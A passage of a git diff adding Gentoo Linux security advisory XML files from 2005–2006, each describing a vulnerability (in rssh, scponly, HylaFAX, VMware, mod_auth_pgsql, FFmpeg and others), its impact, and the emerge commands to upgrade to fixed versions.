+  <revised>December 23, 2005: 01</revised>
+  <bug>116314</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-block/nbd" auto="yes" arch="*">
+      <unaffected range="ge">2.8.2-r1</unaffected>
+      <vulnerable range="lt">2.8.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The NBD Tools are the Network Block Device utilities allowing one
+    to use remote block devices over a TCP/IP network. It includes a
+    userland NBD server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kurt Fitzner discovered that the NBD server allocates a request
+    buffer that fails to take into account the size of the reply header.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a malicious request that can result
+    in the execution of arbitrary code with the rights of the NBD server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NBD Tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-block/nbd-2.8.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3534">CVE-2005-3534</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 23 Dec 2005 10:21:27 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 23 Dec 2005 10:21:38 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-15.xml b/xml/htdocs/security/en/glsa/glsa-200512-15.xml
new file mode 100644
index 00000000..d8a652e5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-15.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-15">
+  <title>rssh: Privilege escalation</title>
+  <synopsis>
+    Local users could gain root privileges by chrooting into arbitrary
+    directories.
+  </synopsis>
+  <product type="ebuild">rssh</product>
+  <announced>December 27, 2005</announced>
+  <revised>December 27, 2005: 01</revised>
+  <bug>115082</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-shells/rssh" auto="yes" arch="*">
+      <unaffected range="ge">2.3.0</unaffected>
+      <vulnerable range="lt">2.3.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rssh is a restricted shell, allowing only a few commands like scp
+    or sftp. It is often used as a complement to OpenSSH to provide limited
+    access to users.
+    </p>
+  </background>
+  <description>
+    <p>
+    Max Vozeler discovered that the rssh_chroot_helper command allows
+    local users to chroot into arbitrary directories.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could exploit this vulnerability to gain root
+    privileges by chrooting into arbitrary directories.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All rssh users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-shells/rssh-2.3.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3345">CVE-2005-3345</uri>
+    <uri link="http://www.pizzashack.org/rssh/security.shtml">rssh security announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 23 Dec 2005 10:25:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 25 Dec 2005 13:06:13 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 26 Dec 2005 13:28:20 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-16.xml b/xml/htdocs/security/en/glsa/glsa-200512-16.xml
new file mode 100644
index 00000000..05b0d779
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-16.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-16">
+  <title>OpenMotif, AMD64 x86 emulation X libraries: Buffer overflows in libUil library</title>
+  <synopsis>
+    Two buffer overflows have been discovered in libUil, part of the OpenMotif
+    toolkit, that can potentially lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">openmotif</product>
+  <announced>December 28, 2005</announced>
+  <revised>January 29, 2006: 03</revised>
+  <bug>114234</bug>
+  <bug>116481</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/openmotif" auto="yes" arch="*">
+      <unaffected range="ge">2.2.3-r8</unaffected>
+      <unaffected range="rge">2.1.30-r13</unaffected>
+      <vulnerable range="lt">2.2.3-r8</vulnerable>
+    </package>
+    <package name="app-emulation/emul-linux-x86-xlibs" auto="yes" arch="AMD64">
+      <unaffected range="ge">2.2.1</unaffected>
+      <vulnerable range="lt">2.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenMotif provides a free version of the Motif toolkit for open source
+    applications. The OpenMotif libraries are included in the AMD64 x86
+    emulation X libraries, which emulate the x86 (32-bit) architecture on
+    the AMD64 (64-bit) architecture.
+    </p>
+  </background>
+  <description>
+    <p>
+    xfocus discovered two potential buffer overflows in the libUil library,
+    in the diag_issue_diagnostic and open_source_file functions.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Remotely-accessible or SUID applications making use of the affected
+    functions might be exploited to execute arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenMotif users should upgrade to an unaffected version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --unmerge --verbose x11-libs/openmotif
+    # emerge --ask --oneshot --verbose x11-libs/openmotif</code>
+    <p>
+    All AMD64 x86 emulation X libraries users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-emulation/emul-linux-x86-xlibs</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3964">CVE-2005-3964</uri>
+    <uri link="http://archives.neohapsis.com/archives/fulldisclosure/2005-12/0047.html">xfocus SD-051202 Original Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 27 Dec 2005 10:06:00 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 27 Dec 2005 10:07:13 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-17.xml b/xml/htdocs/security/en/glsa/glsa-200512-17.xml
new file mode 100644
index 00000000..abe2747e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-17.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-17">
+  <title>scponly: Multiple privilege escalation issues</title>
+  <synopsis>
+    Local users can exploit an scponly flaw to gain root privileges, and
+    scponly restricted users can use another vulnerability to evade shell
+    restrictions.
+  </synopsis>
+  <product type="ebuild">scponly</product>
+  <announced>December 29, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>116526</bug>
+  <access>local and remote</access>
+  <affected>
+    <package name="net-misc/scponly" auto="yes" arch="*">
+      <unaffected range="ge">4.2</unaffected>
+      <vulnerable range="lt">4.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    scponly is a restricted shell, allowing only a few predefined commands.
+    It is often used as a complement to OpenSSH to provide access to remote
+    users without providing any remote execution privileges.
+    </p>
+  </background>
+  <description>
+    <p>
+    Max Vozeler discovered that the scponlyc command allows users to chroot
+    into arbitrary directories. Furthermore, Pekka Pessi reported that
+    scponly insufficiently validates command-line parameters to a scp or
+    rsync command.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could gain root privileges by chrooting into arbitrary
+    directories containing hardlinks to setuid programs. A remote scponly
+    user could also send malicious parameters to a scp or rsync command
+    that would allow to escape the shell restrictions and execute arbitrary
+    programs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All scponly users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/scponly-4.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sublimation.org/scponly/index.html#relnotes">scponly release notes</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4532">CVE-2005-4532</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4533">CVE-2005-4533</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 27 Dec 2005 09:38:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Dec 2005 10:10:38 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200512-18.xml b/xml/htdocs/security/en/glsa/glsa-200512-18.xml
new file mode 100644
index 00000000..a9491247
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200512-18.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200512-18">
+  <title>XnView: Privilege escalation</title>
+  <synopsis>
+    XnView may search for shared libraries in an untrusted location,
+    potentially allowing local users to execute arbitrary code with the
+    privileges of another user.
+  </synopsis>
+  <product type="ebuild">xnview</product>
+  <announced>December 30, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>117063</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-misc/xnview" auto="yes" arch="x86">
+      <unaffected range="ge">1.70-r1</unaffected>
+      <vulnerable range="lt">1.70-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XnView is an efficient multimedia viewer, browser and converter,
+    distributed free for non-commercial use.
+    </p>
+  </background>
+  <description>
+    <p>
+    Krzysiek Pawlik of Gentoo Linux discovered that the XnView package for
+    IA32 used the DT_RPATH field insecurely, causing the dynamic loader to
+    search for shared libraries in potentially untrusted directories.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create a malicious shared object that would be
+    loaded and executed when a user attempted to use an XnView utility.
+    This would allow a malicious user to effectively hijack XnView and
+    execute arbitrary code with the privileges of the user running the
+    program.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The system administrator may use the chrpath utility to remove the
+    DT_RPATH field from the XnView utilities:
+    </p>
+    <code>
+    # emerge app-admin/chrpath
+    # chrpath --delete /opt/bin/nconvert /opt/bin/nview /opt/bin/xnview</code>
+  </workaround>
+  <resolution>
+    <p>
+    All XnView users on the x86 platform should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-misc/xnview-1.70-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4595">CVE-2005-4595</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 29 Dec 2005 17:05:23 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 30 Dec 2005 12:33:06 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-01.xml b/xml/htdocs/security/en/glsa/glsa-200601-01.xml
new file mode 100644
index 00000000..605daa27
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-01.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-01">
+  <title>pinentry: Local privilege escalation</title>
+  <synopsis>
+    pinentry is vulnerable to privilege escalation.
+  </synopsis>
+  <product type="ebuild">pinentry</product>
+  <announced>January 03, 2006</announced>
+  <revised>January 03, 2006: 01</revised>
+  <bug>116822</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-crypt/pinentry" auto="yes" arch="*">
+      <unaffected range="ge">0.7.2-r2</unaffected>
+      <vulnerable range="lt">0.7.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pinentry is a collection of simple PIN or passphrase entry dialogs
+    which utilize the Assuan protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team has
+    discovered that the pinentry ebuild incorrectly sets the permissions of
+    the pinentry binaries upon installation, so that the sgid bit is set
+    making them execute with the privileges of group ID 0.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A user of pinentry could potentially read and overwrite files with
+    a group ID of 0.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pinentry users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/pinentry-0.7.2-r2&quot;</code>
+  </resolution>
+  <references>
+        <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0071">CVE-2006-0071</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 31 Dec 2005 13:13:15 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 31 Dec 2005 13:13:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 02 Jan 2006 22:02:30 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-02.xml b/xml/htdocs/security/en/glsa/glsa-200601-02.xml
new file mode 100644
index 00000000..19f7708a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-02.xml
@@ -0,0 +1,108 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-02">
+  <title>KPdf, KWord: Multiple overflows in included Xpdf code</title>
+  <synopsis>
+    KPdf and KWord both include vulnerable Xpdf code to handle PDF files,
+    making them vulnerable to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">kdegraphics, kpdf, koffice, kword</product>
+  <announced>January 04, 2006</announced>
+  <revised>January 07, 2006: 03</revised>
+  <bug>114429</bug>
+  <bug>115851</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="ge">3.4.3-r3</unaffected>
+      <vulnerable range="lt">3.4.3-r3</vulnerable>
+    </package>
+    <package name="kde-base/kpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.4.3-r3</unaffected>
+      <vulnerable range="lt">3.4.3-r3</vulnerable>
+    </package>
+    <package name="app-office/koffice" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2-r6</unaffected>
+      <vulnerable range="lt">1.4.2-r6</vulnerable>
+    </package>
+    <package name="app-office/kword" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2-r6</unaffected>
+      <vulnerable range="lt">1.4.2-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KPdf is a KDE-based PDF viewer included in the kdegraphics package.
+    KWord is a KDE-based word processor also included in the koffice
+    package.
+    </p>
+  </background>
+  <description>
+    <p>
+    KPdf and KWord both include Xpdf code to handle PDF files. This Xpdf
+    code is vulnerable to several heap overflows (GLSA 200512-08) as well
+    as several buffer and integer overflows discovered by Chris Evans
+    (CESA-2005-003).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted PDF file
+    with Kpdf or KWord, potentially resulting in the execution of arbitrary
+    code with the rights of the user running the affected application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdegraphics users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdegraphics-3.4.3-r3&quot;</code>
+    <p>
+    All Kpdf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kpdf-3.4.3-r3&quot;</code>
+    <p>
+    All KOffice users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/koffice-1.4.2-r6&quot;</code>
+    <p>
+    All KWord users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/kword-1.4.2-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3191">CAN-2005-3191</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3192">CAN-2005-3192</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3193">CAN-2005-3193</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3624">CVE-2005-3624</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3625">CVE-2005-3625</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3626">CVE-2005-3626</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3627">CVE-2005-3627</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3628">CVE-2005-3628</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200512-08.xml">GLSA 200512-08</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20051207-2.txt">KDE Security Advisory: kpdf/xpdf multiple integer overflows</uri>
+    <uri link="http://scary.beasts.org/security/CESA-2005-003.txt">CESA-2005-003</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 08 Dec 2005 08:56:38 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 04 Jan 2006 21:03:58 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-03.xml b/xml/htdocs/security/en/glsa/glsa-200601-03.xml
new file mode 100644
index 00000000..b0cf10d2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-03.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-03">
+  <title>HylaFAX: Multiple vulnerabilities</title>
+  <synopsis>
+    HylaFAX is vulnerable to arbitrary code execution and unauthorized access
+    vulnerabilities.
+  </synopsis>
+  <product type="ebuild">hylafax</product>
+  <announced>January 06, 2006</announced>
+  <revised>January 06, 2006: 01</revised>
+  <bug>116389</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/hylafax" auto="yes" arch="*">
+      <unaffected range="ge">4.2.3-r1</unaffected>
+      <vulnerable range="lt">4.2.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    HylaFAX is an enterprise-class system for sending and receiving
+    facsimile messages and for sending alpha-numeric pages.
+    </p>
+  </background>
+  <description>
+    <p>
+    Patrice Fournier discovered that HylaFAX runs the notify script on
+    untrusted user input. Furthermore, users can log in without a password
+    when HylaFAX is installed with the pam USE-flag disabled.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit the input validation vulnerability to
+    run arbitrary code as the user running HylaFAX, which is usually uucp.
+    The password vulnerability could be exploited to log in without proper
+    user credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All HylaFAX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/hylafax-4.2.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3538">CVE-2005-3538</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3539">CVE-2005-3539</uri>
+    <uri link="http://www.hylafax.org/content/HylaFAX_4.2.4_release">HylaFAX release announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 02 Jan 2006 21:40:30 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Jan 2006 13:37:21 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-04.xml b/xml/htdocs/security/en/glsa/glsa-200601-04.xml
new file mode 100644
index 00000000..88842c05
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-04.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-04">
+  <title>VMware Workstation: Vulnerability in NAT networking</title>
+  <synopsis>
+    VMware guest operating systems can execute arbitrary code with elevated
+    privileges on the host operating system through a flaw in NAT networking.
+  </synopsis>
+  <product type="ebuild">VMware</product>
+  <announced>January 07, 2006</announced>
+  <revised>May 25, 2006: 02</revised>
+  <bug>116238</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="app-emulation/vmware-workstation" auto="yes" arch="*">
+      <unaffected range="ge">5.5.1.19175</unaffected>
+      <unaffected range="rge">4.5.3.19414</unaffected>
+      <unaffected range="rge">3.2.1.2242-r10</unaffected>
+      <vulnerable range="lt">5.5.1.19175</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VMware Workstation is a powerful virtual machine for developers and
+    system administrators.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tim Shelton discovered that vmnet-natd, the host module providing
+    NAT-style networking for VMware guest operating systems, is unable to
+    process incorrect 'EPRT' and 'PORT' FTP requests.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Malicious guest operating systems using the NAT networking feature or
+    local VMware Workstation users could exploit this vulnerability to
+    execute arbitrary code on the host system with elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the NAT service by following the instructions at <uri
+    link="http://www.vmware.com/support/kb">http://www.vmware.com/support/k
+    b</uri>, Answer ID 2002.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VMware Workstation users should upgrade to a fixed version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-emulation/vmware-workstation</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4459">CVE-2005-4459</uri>
+    <uri link="http://www.vmware.com/support/kb/enduser/std_adp.php?p_faqid=2000">VMware Security Response</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 04 Jan 2006 10:03:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 05 Jan 2006 15:09:42 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-05.xml b/xml/htdocs/security/en/glsa/glsa-200601-05.xml
new file mode 100644
index 00000000..9a40445d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-05">
+  <title>mod_auth_pgsql: Multiple format string vulnerabilities</title>
+  <synopsis>
+    Format string vulnerabilities in mod_auth_pgsql may lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mod_auth_pgsql</product>
+  <announced>January 10, 2006</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>118096</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_auth_pgsql" auto="yes" arch="*">
+      <unaffected range="ge">2.0.3</unaffected>
+      <unaffected range="lt">1.0.0</unaffected>
+      <vulnerable range="lt">2.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mod_auth_pgsql is an Apache2 module that allows user authentication
+    against a PostgreSQL database.
+    </p>
+  </background>
+  <description>
+    <p>
+    The error logging functions of mod_auth_pgsql fail to validate certain
+    strings before passing them to syslog, resulting in format string
+    vulnerabilities.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An unauthenticated remote attacker could exploit these vulnerabilities
+    to execute arbitrary code with the rights of the user running the
+    Apache2 server by sending specially crafted login names.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mod_auth_pgsql users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_auth_pgsql-2.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3656">CVE-2005-3656</uri>
+    <uri link="http://www.frsirt.com/english/advisories/2006/0070">FrSIRT ADV-2006-0070</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 08 Jan 2006 17:42:51 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 08 Jan 2006 17:43:17 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 09 Jan 2006 09:56:56 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-06.xml b/xml/htdocs/security/en/glsa/glsa-200601-06.xml
new file mode 100644
index 00000000..cc9486a0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-06.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-06">
+  <title>xine-lib, FFmpeg: Heap-based buffer overflow</title>
+  <synopsis>
+    xine-lib and FFmpeg are vulnerable to a buffer overflow that may be
+    exploited by attackers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib ffmpeg</product>
+  <announced>January 10, 2006</announced>
+  <revised>January 10, 2006: 01</revised>
+  <bug>115849</bug>
+  <bug>116181</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.1-r3</unaffected>
+      <vulnerable range="lt">1.1.1-r3</vulnerable>
+    </package>
+    <package name="media-video/ffmpeg" auto="yes" arch="*">
+      <unaffected range="ge">0.4.9_p20051216</unaffected>
+      <vulnerable range="lt">0.4.9_p20051216</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine is a GPL high-performance, portable and reusable multimedia
+    playback engine. xine-lib is xine's core engine. FFmpeg is a very fast
+    video and audio converter and is used in xine-lib.
+    </p>
+  </background>
+  <description>
+    <p>
+    Simon Kilvington has reported a vulnerability in FFmpeg
+    libavcodec. The flaw is due to a buffer overflow error in the
+    "avcodec_default_get_buffer()" function. This function doesn't properly
+    handle specially crafted PNG files as a result of a heap overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run an FFmpeg based
+    application on a maliciously crafted PNG file, resulting in the
+    execution of arbitrary code with the permissions of the user running
+    the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.1-r3&quot;</code>
+    <p>
+    All FFmpeg users should upgrade to the latest version:
+    </p>
